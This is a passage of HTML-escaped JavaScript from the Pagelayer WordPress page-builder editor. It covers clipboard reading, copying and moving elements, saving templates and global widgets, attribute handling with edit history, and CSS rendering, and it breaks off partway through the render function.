			pagelayerClipboardLoading = true;
			
			const text = await navigator.clipboard.readText();
			var pEle = jQuery(text);
			
			if(pEle.length &gt; 0 &amp;&amp; !pagelayer_empty(pagelayer_tag(pEle)) ){
				pagelayer.copy_selected = pEle;			
			}
			
			pagelayerClipboardLoading = false;
			pagelayerClipboardReadable = true;
			
		} catch (err) {
			pagelayerClipboardLoading = false;
			pagelayerClipboardReadable = &#039;Clipboard readText failed&#039;;
			//console.warn(&quot;Clipboard readText failed&quot;, err);
		}
	} else {
		pagelayerClipboardReadable = &#039;Clipboard API not available or insecure context.&#039;;
		// console.warn(&quot;Clipboard API not available or insecure context.&quot;);
	}
}

// Copy an element
// Note : insertAfter should always be an pagelayer-ele
function pagelayer_copy_element(selector, insertAfter){
	var src = jQuery(selector);
	var tag = pagelayer_tag(src);
	insertAfter = insertAfter || src;
	insertAfter = insertAfter.parent();
	
	var jEle = pagelayer_element_unsetup(src);
	
	// Give it an ID
	var id = pagelayer_assign_id(jEle);
	
	jQuery(insertAfter).after(jEle);
	
	pagelayer_element_setup(&#039;[pagelayer-id=&#039;+id+&#039;], [pagelayer-id=&#039;+id+&#039;] .pagelayer-ele&#039;, true);
	
	if(pagelayer_is_group(tag)){
		pagelayer_sc_render(jEle);
	}
	
	// Save this element in history action
	if(pagelayer.history_action){
		var cEle = pagelayer_near_by_ele(id, tag);
		pagelayer_history_action_push({
			&#039;title&#039; : pagelayer_shortcodes[tag][&#039;name&#039;],
			&#039;action&#039; : &#039;Copied&#039;,
			&#039;pl_id&#039; : id,
			&#039;html&#039; : jEle[0].outerHTML,
			&#039;cEle&#039; : cEle
		});
	}
	
	//If column then renumber columns
	if(tag == &#039;pl_col&#039;){
		var row = src.parent().closest(&#039;.pagelayer-row&#039;);
		pagelayer_renumber_col(row);
	}
	
	pagelayer_do_dirty(jEle);
	
	return id;
};

// Traversing up one step an element
function pagelayer_move_element_up(selector){
	
	var src = jQuery(selector);
	var srcParent = src.parent();
	
	var srcParentPrev = srcParent.prev(&#039;.pagelayer-wrap-row, .pagelayer-wrap-inner-row, .pagelayer-wrap-ele&#039;);

	if(srcParentPrev.length&lt;=0){
		return;
	}
  
	var srcTopValue = srcParent.offset().top;
	
	if(srcParentPrev.hasClass(&#039;pagelayer-wrap-ele&#039;)){
	
		var animUpCalc = srcTopValue-srcParentPrev.offset().top;
	
		srcParent.animate({top:-animUpCalc}, 200, function(){
			srcParent.css(&#039;top&#039;, &#039;&#039;);
			srcParentPrev.css(&#039;top&#039;, &#039;&#039;);
			srcParentPrev.before(srcParent.detach());
		});	
		
		srcParentPrev.animate({top:(srcParent.height()+srcParentPrev.height())-animUpCalc}, 200, function(){
			srcParentPrev.css(&#039;top&#039;, &#039;&#039;);
		});		
		
		// Traverse window scroll with the element
		jQuery(&#039;html, body&#039;).animate({scrollTop:(&#039;-=&#039;+(srcTopValue-(srcParentPrev.offset().top)))},200);
	}else{
		srcParentPrev.before(srcParent.detach());		
		
		// Traverse window scroll with the element
		jQuery(&#039;html, body&#039;).animate({scrollTop:(&#039;-=&#039;+(srcTopValue-(src.parent().offset().top)))},200);
	}
	
	pagelayer_do_dirty(src);
}

// Traversing down one step an element
function pagelayer_move_element_down(selector){
	
	var src = jQuery(selector);
	var srcParent = src.parent();
	
	var srcParentNext = srcParent.next(&#039;.pagelayer-wrap-row, .pagelayer-wrap-inner-row, .pagelayer-wrap-ele&#039;);
	
	if(srcParentNext.length&lt;=0){		
		return;
	}
  
	var srcTopValue = srcParent.offset().top;
	
	if(srcParentNext.hasClass(&#039;pagelayer-wrap-ele&#039;)){
		
		var animDownCalc = srcParentNext.offset().top-srcTopValue;
	
		srcParent.animate({top:(animDownCalc-(srcParent.height()-srcParentNext.height()))}, 200, function(){
			srcParent.css(&#039;top&#039;, &#039;&#039;);
			srcParentNext.css(&#039;top&#039;, &#039;&#039;);
			srcParentNext.after(srcParent.detach());
		});
		
		srcParentNext.animate({top:-animDownCalc}, 200, function(){
			srcParentNext.css(&#039;top&#039;, &#039;&#039;);
		});
		
		// Traverse window scroll with the element
		jQuery(&#039;html, body&#039;).animate({scrollTop:(&#039;+=&#039;+(animDownCalc-(srcParent.height()-srcParentNext.height())))},200);
	}else{
		srcParentNext.after(srcParent.detach());		
		
		// Traverse window scroll with the element
		jQuery(&#039;html, body&#039;).animate({scrollTop:(&#039;+=&#039;+((src.parent().offset().top)-srcTopValue))},200);
	}
	
	pagelayer_do_dirty(src);
}

// Save sections as template
function pagelayer_ajax_save_template(data, ajax_call_back = &#039;&#039;){

	if(pagelayer_empty(data)){
		return;
	}
	
	//save global sections and widgets
	jQuery.ajax({
		type: &quot;POST&quot;,
		url: pagelayer_ajax_url+&#039;&amp;action=pagelayer_save_templ_content&amp;postID=&#039;+pagelayer_postID,
		data: { 
			pagelayer_nonce: pagelayer_ajax_nonce,
			global_widgets : data
		},
		success: function(response, status, xhr){
			//alert(data);
			var obj = jQuery.parseJSON(response);
			if(!pagelayer_empty(ajax_call_back) || typeof ajax_call_back == &#039;function&#039;){
				ajax_call_back(obj);
			}
		},
		error: function(errorThrown){
			console.log(errorThrown);
		}
	});
	
}

// Get global id of the element
function pagelayer_get_global_id(jEle){
	return pagelayer_get_att(jEle, &#039;global_id&#039;);
}

// Set element as a global widget
function pagelayer_set_ele_global(jEle, post_id){
	
	// Add attribute for global ID
	jEle.attr(&#039;pagelayer-global-id&#039;, post_id);
	pagelayer.history_action = false;
	pagelayer_set_atts(jEle, &#039;global_id&#039;, post_id);
	pagelayer.history_action = true;
	
	return jEle;
}

// Save widgets as a global widget
function pagelayer_save_sections(sel, section = &#039;section&#039;){
	
	var jEle = jQuery(sel);
	
	var  pagelayer_ajax_func = {};
	var label = &#039;Please enter the title&#039;;
	var content = pagelayer_generate_sc(jEle, true);
	var data = {};// create array for template data
	data[0] = {};
	
	switch(section){
		
		case &#039;global_widget&#039; :
			var title = prompt(label, &#039;Global Widget&#039;);
			if (title == null) return;
			
			// Save the widget data in global widget array 
			if(pagelayer_empty(pagelayer_global_widgets)){
				pagelayer_global_widgets = {};
			}
			
			break;
			
		case&#039;global_section&#039; :
			var title = prompt(label, &#039;Global Section&#039;);
			if (title == null) return;
			
			break;
			
		case &#039;section&#039;:
			var title = prompt(label, &#039;Section&#039;);
			if (title == null) return;
			
			break;
			
	}
	
	// Add Data
	data[0][&#039;title&#039;] = title;
	data[0][&#039;post_type&#039;] = &#039;pagelayer-template&#039;;
	data[0][&#039;type&#039;] = section; 
	data[0][&#039;content&#039;] = content.replace(/pagelayer-id=&quot;(.*?)&quot;/g, &quot;&quot;); // Need to remove pagelayer id,
	data[0][&#039;content&#039;] = pagelayer_Base64.encode(data[0][&#039;content&#039;]);
	
	// This function for ajax success call back of global widget 
	pagelayer_ajax_func[&#039;global_widget&#039;] = function(obj){
		
		if(pagelayer_empty(obj[&#039;success&#039;])){
			return;
		}
		
		for(var post_id in obj[&#039;success&#039;]){
			
			pagelayer_set_ele_global(jEle, post_id);
			
			// Add global
			jData = {};
			jData[&#039;post_id&#039;] = post_id;
			jData[&#039;title&#039;] = title; // TODO : create modal to input title
			jData[&#039;$&#039;] = jEle;
			jData[&#039;is_dirty&#039;] = true;
			
			// Add the array in global widgets array
			pagelayer_global_widgets[post_id] = jData;
			
			pagelayer.$$(&#039;.pagelayer-elpd-close&#039;).click();
			pagelayer.$$(&#039;.pagelayer-widget-tab&#039;).click();
			break;
		}
		
	}
	
	// This function for ajax success call back of global sections
	pagelayer_ajax_func[&#039;global_section&#039;] = function(obj){
		// TODO: For global Sections
		//console.log(obj);
	}
	
	// This function for ajax success call back of section s
	pagelayer_ajax_func[&#039;section&#039;] = function(obj){
		//console.log(obj);
	}
	
	pagelayer_ajax_save_template(data, pagelayer_ajax_func[section]);
	
}

// Genrate sc for global widgets
function pagelayer_generate_sc_global_widget(){
	
	var global_widgets = {};

	// Create shortcode for all the global widgets
	for(var y in pagelayer_global_widgets){
		var cWidget = pagelayer_global_widgets[y];
		
		// If is_dirty empty then continue the loop
		if(pagelayer_empty(cWidget[&#039;is_dirty&#039;])){
			continue;
		}
		
		global_widgets[y] = {};
		global_widgets[y][&#039;title&#039;] = cWidget[&#039;title&#039;];
		global_widgets[y][&#039;post_id&#039;] = pagelayer_empty(cWidget[&#039;post_id&#039;]) ? 0 : cWidget[&#039;post_id&#039;];
		global_widgets[y][&#039;post_type&#039;] = &#039;pagelayer-template&#039;;
		global_widgets[y][&#039;type&#039;] = &#039;global_widget&#039;;
		
		var content = pagelayer_generate_sc(jQuery(cWidget.$), true);
		var tag = pagelayer_tag(jQuery(cWidget.$));
		
		// IF is group then need to remove pagelayer id, 
		if(!pagelayer_empty(tag) &amp;&amp; pagelayer_is_group(tag)){
			content = content.replace(/pagelayer-id=&quot;(.*?)&quot;/g, &quot;&quot;);
		}
		
		global_widgets[y][&#039;content&#039;] = pagelayer_Base64.encode(content);
		pagelayer_global_widgets[y][&#039;is_dirty&#039;] = false;
	}
	
	return global_widgets;
}

var pagelayer_set_global_timmer = {};

// If you edit one Global widget it should be copied to other instances of the same global widget
function pagelayer_setup_global_widgets(id, jEle){
	
	if(pagelayer_empty(id) || pagelayer_empty(pagelayer_global_widgets[id])){
		return;
	}
	
	var elData = pagelayer_global_widgets[id];
	
	clearTimeout(pagelayer_set_global_timmer);
	pagelayer_set_global_timmer = setTimeout(function(){
		// Set attrs for all the global widgets  
		jQuery(pagelayer_editable+&#039; [pagelayer-global-id=&#039;+ id +&#039;]&#039;).each(function(){
			
			var cEle = jQuery(this);
			var cEleID = pagelayer_id(cEle);
	
			if( jEle.length &gt; 0 &amp;&amp; jEle.is(cEle)){
				return true;
			}
			
			pagelayer.history_action = false;
			pagelayer.global_render = false;
			
			// Get HTML form global array
			var html = pagelayer_element_unsetup(elData.$, cEleID);
									
			if(cEle.parent().is(&#039;.pagelayer-ele-wrap&#039;)){
				cEle.parent().children(&#039;.pagelayer-ele-overlay&#039;).remove();
				cEle.unwrap();
			}
			
			cEle[0].outerHTML = html[0].outerHTML;
			
			pagelayer_element_setup(&#039;[pagelayer-id=&#039;+cEleID+&#039;], [pagelayer-id=&#039;+cEleID+&#039;] .pagelayer-ele&#039;);
			pagelayer_sc_render(jQuery(&#039;[pagelayer-id=&quot;&#039;+cEleID+&#039;&quot;]&#039;));
			
			pagelayer.history_action = true;
			pagelayer.global_render = true;
		});
		
	}, 3000);

}

// Language key
function pagelayer_l(k){
	if(k in pagelayer_lang){
		return pagelayer_lang[k];
	}
	return k;
}

// Get props based on the tag
function pagelayer_get_props(jEle){
	var props = pagelayer_shortcodes[pagelayer_tag(jEle)];
	return props;
}

// Get all props based on the tag but in a single structure
function pagelayer_make_props_ref(){
	
	// Loop through pagelayer_shortcodes
	for(var tag in pagelayer_shortcodes){
		
		var all_props = pagelayer_shortcodes[tag];
		pagelayer.props_ref[tag] = {};
	
		// Loop through all props
		for(var i in pagelayer_tabs){
			
			var tab = pagelayer_tabs[i];

			for(var section in all_props[tab]){
				
				var props = section in pagelayer_shortcodes[tag] ? pagelayer_shortcodes[tag][section] : pagelayer_styles[section];
					
				// In case of widgets its possible !
				if(pagelayer_empty(props)){
					continue;
				}
				
				for(var x in props){
					
					// Create an easy REFERENCE for access
					pagelayer.props_ref[tag][x] = props[x];
					
					// Screen option REFERENCE is also needed for lookup
					if(&#039;screen&#039; in props[x]){
						pagelayer.props_ref[tag][x+&#039;_tablet&#039;] = props[x];
						pagelayer.props_ref[tag][x+&#039;_mobile&#039;] = props[x];
					}
					
				}
			}
			
		}
		
	}
	
}

// Set the given jELE as active
function pagelayer_set_active(jEle){
	
	// Make all other element as inactive
	jQuery(&#039;[pagelayer-active]&#039;).each(function(){	
		var $j = jQuery(this);
		$j.removeAttr(&#039;pagelayer-active&#039;);
	});
	
	jEle.attr(&#039;pagelayer-active&#039;, 1);
	
	// Add and remove the class
	jQuery(&#039;.pagelayer-active&#039;).removeClass(&#039;pagelayer-active&#039;);
	
	jEle.parent().children(&#039;.pagelayer-ele-overlay&#039;).addClass(&#039;pagelayer-active&#039;);
	
}

function pagelayer_sc(sc){
	return sc.replace(&#039;pl_&#039;, &#039;&#039;);
};

// Create a HTML dom element of the Short code
// Return the jEle
function pagelayer_create_sc(sc){
	
	var html;
	var _sc = pagelayer_sc(sc);
	var func = window[&#039;pagelayer_create_sc_&#039;+sc];
	
	// Generate the HTML
	if(typeof func == &#039;function&#039;){
		html = window[&#039;pagelayer_create_sc_&#039;+sc]();
	}else{
		html = &#039;&lt;div &#039;+pagelayer_sc_atts(&#039;pagelayer-&#039;+_sc)+&#039;&gt;&lt;/div&gt;&#039;;
	}
	
	html = jQuery(html);
	
	// Add the tag
	html.attr(&#039;pagelayer-tag&#039;, sc);
	
	// Give it an ID
	id = pagelayer_assign_id(html);
	
	// Try to set the default values over 5 loops
	pagelayer_set_default_atts(html, 5);
	
	return html;
	
};

// Returns a list of default attributes to set as per the current selection
function pagelayer_set_default_atts(jEle, set){
	
	set = set || 0;
	var hasSet = false;
	
	for(var i = 1; i &lt;= set;i++){
		
		//console.log(&#039;[pagelayer_set_default_atts] Loop :&#039;+i);
		//console.log(jEle);
		
		// Get existing data
		var el = pagelayer_data(jEle, true);
		
		// If it is the last loop and we are greater than 1
		if(i &gt; 1 &amp;&amp; i == set){
			console.log(&#039;[pagelayer_default_atts] Still vars to set. Please check your shortcode params !&#039;);
		}
		
		// We are supposed to set !
		if(&#039;set&#039; in el &amp;&amp; !pagelayer_empty(el.set)){		
			pagelayer_set_atts(jEle, el.set);
			hasSet = true;
		}else{
			break;
		}
	}
	
	return hasSet;
}

// Returns the tag
function pagelayer_tag(jEle){
	
	// It could be the wrap
	if(jEle.hasClass(&#039;pagelayer-ele-wrap&#039;)){
		return jEle.children(&#039;.pagelayer-ele&#039;).attr(&#039;pagelayer-tag&#039;);
	}
	
	// It could be the row or col holder
	if(jEle.hasClass(&#039;pagelayer-row-holder&#039;) || jEle.hasClass(&#039;pagelayer-col-holder&#039;)){
		return jEle.parent().attr(&#039;pagelayer-tag&#039;);
	}
	
	return jEle.attr(&#039;pagelayer-tag&#039;);
}

function pagelayer_el_data_ref(jEle){
	var id = pagelayer_id(jEle);
	
	if(!(id in pagelayer.el)){
		pagelayer.el[id] = {};
	}
	
	if(typeof pagelayer.el[id] !== &#039;object&#039;){
		pagelayer.el[id] = {};
	}
	
	if(!(&#039;attr&#039; in pagelayer.el[id])){
		pagelayer.el[id][&#039;attr&#039;] = {};
	}
	
	if(Array.isArray(pagelayer.el[id][&#039;attr&#039;])){
		pagelayer.el[id][&#039;attr&#039;] = {};
	}
	
	if(!(&#039;tmp&#039; in pagelayer.el[id])){
		pagelayer.el[id][&#039;tmp&#039;] = {};
	}
	
	if(Array.isArray(pagelayer.el[id][&#039;tmp&#039;])){
		pagelayer.el[id][&#039;tmp&#039;] = {};
	}
	
	return pagelayer.el[id];
};

// Gets the data node which can be position 0 or 1
function pagelayer_el_get_data_node(jEle){
	var node = jEle[0].childNodes[0];
	if(node &amp;&amp; node.nodeType === 8){
		return node;
	}
	node = jEle[0].childNodes[1];
	if(node &amp;&amp; node.nodeType === 8){
		return node;
	}
	return false;
}

// Get the data
function pagelayer_el_get_data(jEle){
	var node = pagelayer_el_get_data_node(jEle);
	if(node){
		return JSON.parse(node.nodeValue);
	}	
	return false;
};

// Add the data back again
function pagelayer_el_dump_data(jEle){
	var node = pagelayer_el_get_data_node(jEle);
	var d = pagelayer_serializeAttributes(pagelayer_el_data_ref(jEle));
	
	if(node){
		node.nodeValue = d;
	}else{
		jEle.prepend(&#039;&lt;!-- &#039;+d+&#039; --&gt;&#039;);
	}
};

// Gets a single attribute value
function pagelayer_get_att(jEle, att){
	var ref_data = pagelayer_el_data_ref(jEle);
	if(att in ref_data[&#039;attr&#039;]){
		return ref_data[&#039;attr&#039;][att];
	}
	return;
};

// Gets a single attribute value
function pagelayer_get_tmp_att(jEle, att){
	var ref_data = pagelayer_el_data_ref(jEle);
	if(att in ref_data[&#039;tmp&#039;]){
		return ref_data[&#039;tmp&#039;][att];
	}
	return;
};

// This function will just set atts and not do anything else
// Atts can be string or object. If its string, then val is needed
function pagelayer_set_atts(jEle, atts, val){
	
	if(typeof atts == &#039;string&#039;){
		var tmp = {};
		tmp[atts] = val;
		atts = tmp;
	}
	
	if(typeof atts != &#039;object&#039;){
		return false;
	}
	
	var tag = pagelayer_tag(jEle);
	var trigger_onchange = 0;
	
	if(pagelayer_empty(tag)){
		console.log(&#039;Set atts found no tag&#039;);
		console.log(jEle);
		return;
	}
		
	// All props
	var all_props = pagelayer_shortcodes[tag];//console.log(tag);console.log(jEle);
	var trigger_props = {};
	var no_val = {};
	var defaults = {};
	var _props = {};
	
	// Loop through all props
	for(var i in pagelayer_tabs){
		
		var tab = pagelayer_tabs[i];

		for(var section in all_props[tab]){
			
			var props = section in pagelayer_shortcodes[tag] ? pagelayer_shortcodes[tag][section] : pagelayer_styles[section];
			
			for(var x in props){
				
				if(&#039;default&#039; in props[x]){
					defaults[x] = 1;
				}
				
				// Create an easy REFERENCE for access
				_props[x] = props[x];
				
				// Screen option REFERENCE is also needed for lookup
				if(&#039;screen&#039; in _props[x]){
					_props[x+&#039;_tablet&#039;] = props[x];
					_props[x+&#039;_mobile&#039;] = props[x];
				}
				
				// Dont set any val, but we set temp value
				if(&#039;no_val&#039; in props[x]){
					no_val[x] = 1;
				}
				
				if(&#039;req&#039; in props[x] || &#039;show&#039; in props[x]){					
					var show = &#039;req&#039; in props[x] ? props[x][&#039;req&#039;] : props[x][&#039;show&#039;];
					
					// We have both req and show, so lets just combine the values and then show
					// NOTE : We need to make an array and not just merge the 2 as they are references
					if(&#039;req&#039; in props[x] &amp;&amp; &#039;show&#039; in props[x]){
						
						// Add the req values
						show = JSON.parse(JSON.stringify(props[x][&#039;req&#039;]));
						
						// Now the show values need to be looped
						for(var t in props[x][&#039;show&#039;]){
							show[t] = props[x][&#039;show&#039;][t];
						}
						
					}
					
					for(var showParam in show){
						var val = show[showParam];
						var except = showParam.substr(0, 1) == &#039;!&#039; ? true : false;
						showParam = except ? showParam.substr(1) : showParam;
						trigger_props[showParam] = 1;
					}
					
				}
				
			}
			
		}
		
	}
	
	var ref_data = pagelayer_el_data_ref(jEle);
	
	for(var x in atts){
		
		// Are we to trigger change
		if(x in trigger_props){
			trigger_onchange = 1;
		}
		
		//console.log(x+&#039;-&#039;+atts[x]);
		
		// Is this a pro feature and we are not pro ? Then we dont do anything and continue !
		if(!pagelayer_empty(_props[x]) &amp;&amp; &#039;pro&#039; in _props[x] &amp;&amp; pagelayer_empty(pagelayer_pro)){
			continue;
		}
		
		if(x in no_val){
			pagelayer_set_tmp_atts(jEle, x, atts[x]);
			continue;
		}
		
		// Record History
		if(pagelayer.history_action){				
			var old_val = pagelayer_get_att(jEle, x) || &#039;&#039;;
			var label = x;
			
			if(x in _props &amp;&amp; &#039;label&#039; in _props[x]){
				label = _props[x][&#039;label&#039;];
			}
			
			pagelayer_history_action_push({
				&#039;title&#039; : all_props[&#039;name&#039;],
				&#039;subTitle&#039; : label,
				&#039;action&#039; : &#039;Edited&#039;,
				&#039;attrType&#039; : &#039;a_attr&#039;,
				&#039;pl_id&#039; : pagelayer_id(jEle),
				&#039;atts&#039; : x,
				&#039;oldVal&#039; : old_val,
				&#039;newVal&#039; : atts[x]
			});
		}
		
		// Remove the attribute if its BLANK and there is no default for it
		// If there is a default, we set it to blank to keep record of the current val
		if(pagelayer_length(atts[x]) &lt; 1){
			
			// Remove values which are not defaults
			if(!(x in defaults)){
				delete ref_data[&#039;attr&#039;][x];
			// Otherwise keep value set for avoiding resetting
			}else{
				ref_data[&#039;attr&#039;][x] = atts[x];
			}
			
			// Remove the tmp atts anyway
			pagelayer_clear_tmp_atts(jEle, x);
		
		// Set the value
		}else{
			ref_data[&#039;attr&#039;][x] = pagelayer_trim(atts[x]);
		}
		
		// Are you the active element
		if(pagelayer_is_active(jEle)){
			
			// TODO : Record Undo and Redo
			
		}
		
	}
	
	pagelayer_el_dump_data(jEle);
	
	// Trigger the change of the parameter and show the required properties
	if(trigger_onchange){
		pagelayer_elpd_show_rows();
	}
	
	pagelayer_do_dirty(jEle);
  
};

// This function will just set atts and not do anything else
// Atts can be string or object. If its string, then val is needed
function pagelayer_set_tmp_atts(jEle, atts, val){
	
	if(typeof atts == &#039;string&#039;){
		var tmp = {};
		tmp[atts] = val;
		atts = tmp;
	}
	
	if(typeof atts != &#039;object&#039;){
		return false;
	}
	
	var ref_data = pagelayer_el_data_ref(jEle);
	
	for(var x in atts){
		
		// Record history
		if(pagelayer.history_action){
				
			var old_val = pagelayer_get_tmp_att(jEle, x) || &#039;&#039;;
			pagelayer_history_action_push({
				&#039;title&#039; : pagelayer_shortcodes[pagelayer_tag(jEle)][&#039;name&#039;],
				&#039;subTitle&#039; : x,
				&#039;action&#039; : &#039;Edited&#039;,
				&#039;attrType&#039; : &#039;tmp_attr&#039;,
				&#039;pl_id&#039; : pagelayer_id(jEle),
				&#039;atts&#039; : x,
				&#039;oldVal&#039; : old_val,
				&#039;newVal&#039; : atts[x]
			});
			
		}
		
		ref_data[&#039;tmp&#039;][x] = atts[x];
		
	}
	
	pagelayer_el_dump_data(jEle);
	
};

// This function removes the temporary attributes of an ele
function pagelayer_clear_tmp_atts(jEle, attr){
	
	var to_del = new Array();
	var regexp = new RegExp(&#039;^&#039;+attr+&#039;\-&#039;, &#039;gi&#039;);
	var ref_data = pagelayer_el_data_ref(jEle);
	
	//console.log(to_del);
	for(var n in ref_data[&#039;tmp&#039;]){
		if(n.match(regexp)){
			delete ref_data[&#039;tmp&#039;][n];
		}
	}
}

// This function removes the temporary attributes of an ele
function pagelayer_img_tmp_atts(jEle, attr){
	
	var found = {};
	var regexp = new RegExp(&#039;^&#039;+attr+&#039;\-&#039;, &#039;gi&#039;);
	var ref_data = pagelayer_el_data_ref(jEle);
	
	for(var n in ref_data[&#039;tmp&#039;]){
		if(n.match(regexp)){
			found[n] = 1;
		}
	}
	
	return found;
}

// Set the att and classes of an HTML which is not yet created
function pagelayer_sc_atts(classes){	
	var r = new Array();	
	return &#039;class=&quot;&#039;+classes+&#039; pagelayer-ele&quot; &#039;+r.join(&#039; &#039;);
}

// Is the jEle the active element ?
function pagelayer_is_active(jEle){
	
	// Is this the active Element ?
	if(pagelayer_empty(pagelayer_active.el) || jEle.attr(&#039;pagelayer-id&#039;) != pagelayer_active.el.id){
		return false;
	}
	
	return true;
	
};

// Removes {{}} from the variable name
function pagelayer_var(val){
	return val.substring(2, (val.length - 2));
}

// Take care of the CSS
function pagelayer_css_render(css, val, seperator){
	//console.log(&#039;CSS &#039;+css+&#039; | &#039;+val);
	
	// Seperator
	seperator = seperator || &#039;,&#039;;
	
	var replaceCss = function(rule, value, toreplace){
		
		value = pagelayer_hex8_to_rgba(value);
		
		// If value has css var then we remove units
		if(value.match(/var\(/)){
			var toreplace = toreplace.replace(/[-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g, &quot;\\$&amp;&quot;);
			toreplace  = new RegExp( toreplace+&#039;?[^\\s|;]+&#039;, &#039;ig&#039;);
		}
		
		return rule.split(toreplace).join(value);
	}
	
	// Replace the val
	css = replaceCss(css, val, &#039;{{val}}&#039;);
	
	// If there is an array
	if(css.match(/val\[\d/)){
		
		if(typeof val != &#039;object&#039; || val === null){
			val = String(val).split(seperator);
		}
		
		for(var i in val){
			css = replaceCss(css, val[i], &#039;{{val[&#039;+i+&#039;]}}&#039;);
		}
	}
	
	//console.log(&#039;Final CSS &#039;+css);
	
	return css;
	
};

// Handle hexa to rgba and also remove alpha which is ff
function pagelayer_hex8_to_rgba(val){
	
	val = String(val);
	
	// If opacity is ff then discard ff
	if(val.match(/^#([a-f0-9]{6})ff$/)){
		return val.substr(0,7);
	}
	
	// Lets handle the RGB+opacity
	if(val.match(/^#([a-f0-9]{8})$/)){
		var result = /^#?([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})([a-f\d]{2})$/i.exec(val);
		val = &#039;rgba(&#039;+parseInt(result[1], 16)+&#039;, &#039;+parseInt(result[2], 16)+&#039;, &#039;+parseInt(result[3], 16)+&#039;, &#039;+(parseInt(result[4], 16)/255).toFixed(2)+&#039;)&#039;;
	}
	
	return val;
	
};

// Replace the variables
function pagelayer_parse_el_vars(str, el){
	
	str = str.split(&#039;{{element}}&#039;).join(el.CSS.cssSel);
	str = str.split(&#039;{{wrap}}&#039;).join(el.CSS.wrap);
	str = str.split(&#039;{{ele_id}}&#039;).join(el.id);
	
	return str;

}

// Replace the variables
function pagelayer_parse_vars(str, el){
	
	for(var x in el.tmp){
		str = str.split(&#039;{{{&#039;+x+&#039;}}}&#039;).join(el.tmp[x]);
	}
	
	for(var x in el.atts){
		str = str.split(&#039;{{&#039;+x+&#039;}}&#039;).join(el.atts[x]);
	}
	
	return str;
};

// Render the Element
function pagelayer_sc_render(jEle){
	
	// We render only the active element
	if(!pagelayer_is_active(jEle)){
		//return false;
	}
	
	//console.log(&#039;Rendering&#039;);
	
	// Handle the CSS part
	// Get the id, tag, atts, data, etc
	var el = pagelayer_data(jEle, true);
	var all_props = pagelayer_shortcodes[el.tag];
	var elCSS = {
		classes: [],
		remove_classes: [],
		attr: [],
		remove_attr: [],
		css: [],
		edit: [],
		cssSel: &#039;.p-&#039;+el.id,
		sel: &#039;[pagelayer-id=&quot;&#039;+el.id+&#039;&quot;]&#039;,
		wrap: &#039;[pagelayer-wrap-id=&quot;&#039;+el.id+&#039;&quot;]&#039;
	};
	
	// Create a reference
	el.CSS = elCSS;
  
	// Make sure if we have the class selector
	el.$.addClass(&#039;p-&#039;+el.id);
	
	//console.log(el.atts);
	
	for(var i in pagelayer_tabs){
		var tab = pagelayer_tabs[i];
		for(var section in all_props[tab]){	//console.log(tab+&#039; &#039;+section);
	
			var props = section in pagelayer_shortcodes[el.tag] ? pagelayer_shortcodes[el.tag][section] : pagelayer_styles[section];//console.log(props);
	
			// Loop the props
			for(var x in props){
				
				// pagelayer_data will return attributes even if they are BLANK e.g. attr=&quot;&quot;
				// Render doesnt consider BLANK values as values, and we are unsetting them now
				// If in any situation you need to consider blank values, please handle in the JS / PHP function of the Shortcode
				if(x in el.atts &amp;&amp; pagelayer_length(el.atts[x]) &lt; 1){
						delete el.atts[x];
				}
				
				// Any editor ?
				if(&#039;edit&#039; in props[x]){
					elCSS.edit.push({prop: x, sel: props[x][&#039;edit&#039;]});
				}
				
				// Load permalink values
				if(props[x][&#039;type&#039;] == &#039;link&#039;){

					if(&#039;selector&#039; in props[x] &amp;&amp; typeof el.atts[x] == &#039;object&#039;){
						var tmp = {};
						
						// Link is required for check IF and IF-EXT in html
						if(pagelayer_length(el.atts[x][&#039;link&#039;])  &lt; 1){
							delete el.atts[x];
							continue;
						}
						
						if( &#039;target&#039; in el.atts[x] &amp;&amp; !pagelayer_empty(el.atts[x][&#039;target&#039;]) ){
							tmp = {&#039;sel&#039;: props[x][&#039;selector&#039;], &#039;val&#039;: &#039;target=&quot;_blank&quot;&#039;};
							elCSS[&#039;attr&#039;].push(tmp);
						}
						
						if( &#039;rel&#039; in el.atts[x] &amp;&amp; !pagelayer_empty(el.atts[x][&#039;rel&#039;]) ){
							tmp = {&#039;sel&#039;: props[x][&#039;selector&#039;], &#039;val&#039;: &#039;rel=&quot;nofollow&quot;&#039;};
							elCSS[&#039;attr&#039;].push(tmp);
						}

						if( &#039;attrs&#039; in el.atts[x] &amp;&amp; !pagelayer_empty(el.atts[x][&#039;attrs&#039;]) ){

							var attrsVal = pagelayer_trim(el.atts[x][&#039;attrs&#039;].split(&#039;;&#039;));
			
							attrsVal.forEach(function(item, index){
				  
								var splitValue = item.split(/=(.*)/);
								var attKey = pagelayer_trim(splitValue[0]);
								var setAtt = &#039;&#039;;
									
								// Validate the attrs name 
								if(attKey.length &lt; 1 || pagelayer_empty(attKey.match(/^[a-z_]+[\w:.-]*$/i))){
									return;
								}
									
								if(splitValue.length &lt; 2){
									setAtt = attKey+&#039;=&quot;&quot;&#039;;
								}else{
									setAtt = attKey+&#039;=&quot;&#039;+splitValue[1]+&#039;&quot;&#039;;
								}
									
								tmp = {&#039;sel&#039;: props[x][&#039;selector&#039;], &#039;val&#039;: setAtt};
								elCSS[&#039;attr&#039;].push(tmp);
									
							});
						}
					}
				}
				
				// Do we have a addClass ?
				// We are checking before the element has a value so that we can add or remove the class
				if(&#039;addClass&#039; in props[x]){
					
					var addClasses;
					
					// Convert the string to an array
					if(typeof props[x][&#039;addClass&#039;] === &#039;string&#039;){
						addClasses = [props[x][&#039;addClass&#039;]];
					}else{
						addClasses = props[x][&#039;addClass&#039;];
					}
					
					for(var c in addClasses){
							
						// The selector
						var tSel = jQuery.isNumeric(c) ? &#039;&#039; : c;
						
						// If there is a VAL
						// NOTE : Only val is allowed when there is a list
						if(addClasses[c].match(/\{\{val\}\}/) &amp;&amp; &#039;list&#039; in props[x]){
							
							for(var l in props[x][&#039;list&#039;]){
								
								var tmp = {&#039;sel&#039;: tSel, &#039;val&#039;: addClasses[c].replace(&#039;{{val}}&#039;, l)};
								
								if(el.atts[x] == l){
									elCSS[&#039;classes&#039;].push(tmp);
								}else{
									elCSS[&#039;remove_classes&#039;].push(tmp);
								}
								
							}
							
						}else{
							
							var tmp = {&#039;sel&#039;: tSel, &#039;val&#039;: addClasses[c].replace(&#039;{{val}}&#039;, el.atts[x])};
							
							// If the value is there
							if(x in el.atts){
								elCSS[&#039;classes&#039;].push(tmp);
							}else{
								elCSS[&#039;remove_classes&#039;].push(tmp);
							}
						
						}
					}
				}
				
				// Do we have a addAttr ? 
				// We are checking before the element has a value so that we can add or remove the attr
